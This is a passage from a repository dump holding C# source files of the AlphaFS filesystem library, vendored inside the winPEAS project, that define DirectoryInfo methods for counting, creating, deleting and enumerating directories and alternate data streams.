    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public long CountFileSystemObjects(DirectoryEnumerationOptions options)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<string>(null, Transaction, LongFullName, Path.WildcardStarMatchAll, null, options, null, PathFormat.LongFullPath).Count();\n      }\n\n\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public long CountFileSystemObjects(string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<string>(null, Transaction, LongFullName, searchPattern, null, options, null, PathFormat.LongFullPath).Count();\n      }\n\n\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public long CountFileSystemObjects(string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<string>(null, Transaction, LongFullName, searchPattern, null, options, filters, PathFormat.LongFullPath).Count();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.Create.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Creates a directory.</summary>\n      /// <remarks>If the directory already exists, this method does nothing.</remarks>\n      [SecurityCritical]\n      public void Create()\n      {\n         Directory.CreateDirectoryCore(true, Transaction, LongFullName, null, null, false, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Creates a directory using a <see cref=\"DirectorySecurity\"/> object.</summary>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <remarks>If the directory already exists, this method does nothing.</remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public void Create(DirectorySecurity directorySecurity)\n      {\n         Directory.CreateDirectoryCore(true, Transaction, LongFullName, null, directorySecurity, false, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates a directory using a <see cref=\"DirectorySecurity\"/> object.</summary>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <remarks>If the directory already exists, this method does nothing.</remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public DirectoryInfo Create(bool compress)\n      {\n         return Directory.CreateDirectoryCore(true, Transaction, LongFullName, null, null, compress, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a directory using a <see cref=\"DirectorySecurity\"/> object.</summary>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <remarks>If the directory already exists, this method does nothing.</remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public DirectoryInfo Create(DirectorySecurity directorySecurity, bool compress)\n      {\n         return Directory.CreateDirectoryCore(true, Transaction, LongFullName, null, directorySecurity, compress, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.CreateSubdirectory.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the <see cref=\"DirectoryInfo\"/> class.</summary>\n      /// <param name=\"path\">The specified path. This cannot be a different disk volume.</param>\n      /// <returns>The last directory specified in <paramref name=\"path\"/>.</returns>\n      /// <remarks>\n      /// Any and all directories specified in path are created, unless some part of path is invalid.\n      /// The path parameter specifies a directory path, not a file path.\n      /// If the subdirectory already exists, this method does nothing.\n      /// </remarks>\n      [SecurityCritical]\n      public DirectoryInfo CreateSubdirectory(string path)\n      {\n         return CreateSubdirectoryCore(path, null, null, false);\n      }\n\n\n      /// <summary>Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the <see cref=\"DirectoryInfo\"/> class.</summary>\n      /// <param name=\"path\">The specified path. This cannot be a different disk volume.</param>\n      /// <param name=\"directorySecurity\">The <see cref=\"DirectorySecurity\"/> security to apply.</param>\n      /// <returns>The last directory specified in <paramref name=\"path\"/>.</returns>\n      /// <remarks>\n      /// Any and all directories specified in path are created, unless some part of path is invalid.\n      /// The path parameter specifies a directory path, not a file path.\n      /// If the subdirectory already exists, this method does nothing.\n      /// </remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public DirectoryInfo CreateSubdirectory(string path, DirectorySecurity directorySecurity)\n      {\n         return CreateSubdirectoryCore(path, null, directorySecurity, false);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the <see cref=\"DirectoryInfo\"/> class.</summary>\n      /// <returns>The last directory specified in <paramref name=\"path\"/>.</returns>\n      /// <remarks>\n      /// Any and all directories specified in path are created, unless some part of path is invalid.\n      /// The path parameter specifies a directory path, not a file path.\n      /// If the subdirectory already exists, this method does nothing.\n      /// </remarks>\n      /// <param name=\"path\">The specified path. This cannot be a different disk volume.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SecurityCritical]\n      public DirectoryInfo CreateSubdirectory(string path, bool compress)\n      {\n         return CreateSubdirectoryCore(path, null, null, compress);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the <see cref=\"DirectoryInfo\"/> class.</summary>\n      /// <param name=\"path\">The specified path. This cannot be a different disk volume.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <returns>The last directory specified in <paramref name=\"path\"/>.</returns>\n      /// <remarks>\n      /// Any and all directories specified in path are created, unless some part of path is invalid.\n      /// The path parameter specifies a directory path, not a file path.\n      /// If the subdirectory already exists, this method does nothing.\n      /// </remarks>\n      [SecurityCritical]\n      public DirectoryInfo CreateSubdirectory(string path, string templatePath, bool compress)\n      {\n         return CreateSubdirectoryCore(path, templatePath, null, compress);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the <see cref=\"DirectoryInfo\"/> class.</summary>\n      /// <param name=\"path\">The specified path. This cannot be a different disk volume.</param>\n      /// <param name=\"directorySecurity\">The <see cref=\"DirectorySecurity\"/> security to apply.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <returns>The last directory specified in <paramref name=\"path\"/>.</returns>\n      /// <remarks>\n      /// Any and all directories specified in path are created, unless some part of path is invalid.\n      /// The path parameter specifies a directory path, not a file path.\n      /// If the subdirectory already exists, this method does nothing.\n      /// </remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public DirectoryInfo CreateSubdirectory(string path, DirectorySecurity directorySecurity, bool compress)\n      {\n         return CreateSubdirectoryCore(path, null, directorySecurity, compress);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the <see cref=\"DirectoryInfo\"/> class.</summary>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"path\">The specified path. This cannot be a different disk volume.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"directorySecurity\">The <see cref=\"DirectorySecurity\"/> security to apply.</param>\n      /// <returns>The last directory specified in <paramref name=\"path\"/>.</returns>\n      /// <remarks>\n      /// Any and all directories specified in path are created, unless some part of path is invalid.\n      /// The path parameter specifies a directory path, not a file path.\n      /// If the subdirectory already exists, this method does nothing.\n      /// </remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public DirectoryInfo CreateSubdirectory(string path, string templatePath, DirectorySecurity directorySecurity, bool compress)\n      {\n         return CreateSubdirectoryCore(path, templatePath, directorySecurity, compress);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.CreateSubdirectoryCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing System.Security.AccessControl;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the DirectoryInfo class.</summary>\n      /// <returns>The last directory specified in path as an <see cref=\"DirectoryInfo\"/> object.</returns>\n      /// <remarks>\n      /// Any and all directories specified in path are created, unless some part of path is invalid.\n      /// The path parameter specifies a directory path, not a file path.\n      /// If the subdirectory already exists, this method does nothing.\n      /// </remarks>\n      /// <param name=\"path\">The specified path. This cannot be a different disk volume or Universal Naming Convention (UNC) name.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory.</param>\n      /// <param name=\"directorySecurity\">The <see cref=\"DirectorySecurity\"/> security to apply.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SecurityCritical]\n      private DirectoryInfo CreateSubdirectoryCore(string path, string templatePath, ObjectSecurity directorySecurity, bool compress)\n      {\n         var pathLp = Path.CombineCore(false, LongFullName, path);\n\n         var templatePathLp = null == templatePath ? null : Path.GetExtendedLengthPathCore(Transaction, templatePath, PathFormat.RelativePath, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator);\n\n\n         if (string.Compare(LongFullName, 0, pathLp, 0, LongFullName.Length, StringComparison.OrdinalIgnoreCase) != 0)\n\n            throw new ArgumentException(Resources.Invalid_Subpath, \"path\");\n\n\n         return Directory.CreateDirectoryCore(false, Transaction, pathLp, templatePathLp, directorySecurity, compress, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.Delete.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Deletes this <see cref=\"DirectoryInfo\"/> if it is empty.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public override void Delete()\n      {\n         Directory.DeleteDirectoryCore(Transaction, EntryInfo, null, false, false, false, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Deletes this instance of a <see cref=\"DirectoryInfo\"/>, specifying whether to delete subdirectories and files.</summary>\n      /// <remarks>\n      ///   <para>If the <see cref=\"DirectoryInfo\"/> has no files and no subdirectories, this method deletes the <see cref=\"DirectoryInfo\"/> even if recursive is <c>false</c>.</para>\n      ///   <para>Attempting to delete a <see cref=\"DirectoryInfo\"/> that is not empty when recursive is false throws an <see cref=\"IOException\"/>.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"recursive\"><c>true</c> to delete this directory, its subdirectories, and all files; otherwise, <c>false</c>.</param>\n      [SecurityCritical]\n      public void Delete(bool recursive)\n      {\n         Directory.DeleteDirectoryCore(Transaction, EntryInfo, null, recursive, false, false, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Deletes this instance of a <see cref=\"DirectoryInfo\"/>, specifying whether to delete files and subdirectories.</summary>\n      /// <remarks>\n      ///   <para>If the <see cref=\"DirectoryInfo\"/> has no files and no subdirectories, this method deletes the <see cref=\"DirectoryInfo\"/> even if recursive is <c>false</c>.</para>\n      ///   <para>Attempting to delete a <see cref=\"DirectoryInfo\"/> that is not empty when recursive is false throws an <see cref=\"IOException\"/>.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"recursive\"><c>true</c> to delete this directory, its subdirectories, and all files; otherwise, <c>false</c>.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> ignores read only attribute of files and directories.</param>\n      [SecurityCritical]\n      public void Delete(bool recursive, bool ignoreReadOnly)\n      {\n         Directory.DeleteDirectoryCore(Transaction, EntryInfo, null, recursive, ignoreReadOnly, false, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes this instance of a <see cref=\"DirectoryInfo\"/>, specifying whether to delete files and subdirectories.</summary>\n      /// <remarks>\n      ///   <para>If the <see cref=\"DirectoryInfo\"/> has no files and no subdirectories, this method deletes the <see cref=\"DirectoryInfo\"/> even if recursive is <c>false</c>.</para>\n      ///   <para>Attempting to delete a <see cref=\"DirectoryInfo\"/> that is not empty when recursive is false throws an <see cref=\"IOException\"/>.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"recursive\"><c>true</c> to delete this directory, its subdirectories, and all files; otherwise, <c>false</c>.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> ignores read only attribute of files and directories.</param>\n      /// <param name=\"continueOnNotFound\">When <c>true</c> does not throw an <see cref=\"DirectoryNotFoundException\"/> when the directory does not exist.</param>\n      [SecurityCritical]\n      public void Delete(bool recursive, bool ignoreReadOnly, bool continueOnNotFound)\n      {\n         Directory.DeleteDirectoryCore(Transaction, EntryInfo, null, recursive, ignoreReadOnly, continueOnNotFound, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.DeleteEmptySubdirectories.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the <see cref=\"DirectoryInfo\"/> instance.</summary>\n      [SecurityCritical]\n      public void DeleteEmptySubdirectories()\n      {\n         Directory.DeleteEmptySubdirectoriesCore(EntryInfo, Transaction, null, false, false, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the <see cref=\"DirectoryInfo\"/> instance.</summary>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      [SecurityCritical]\n      public void DeleteEmptySubdirectories(bool recursive)\n      {\n         Directory.DeleteEmptySubdirectoriesCore(EntryInfo, Transaction, null, recursive, false, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes empty subdirectories from the <see cref=\"DirectoryInfo\"/> instance.</summary>\n      /// <param name=\"recursive\"><c>true</c> deletes empty subdirectories from this directory and its subdirectories.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides read only <see cref=\"FileAttributes\"/> of empty directories.</param>\n      [SecurityCritical]\n      public void DeleteEmptySubdirectories(bool recursive, bool ignoreReadOnly)\n      {\n         Directory.DeleteEmptySubdirectoriesCore(EntryInfo, Transaction, null, recursive, ignoreReadOnly, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.EnumerateAlternateDataStreams.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of <see cref=\"AlternateDataStreamInfo\"/> instances for the directory.</summary>\n      /// <returns>An enumerable collection of <see cref=\"AlternateDataStreamInfo\"/> instances for the directory.</returns>\n      [SecurityCritical]\n      public IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreams()\n      {\n         return File.EnumerateAlternateDataStreamsCore(Transaction, true, LongFullName, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.EnumerateDirectories.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Returns an enumerable collection of directory information in the current directory.</summary>\n      /// 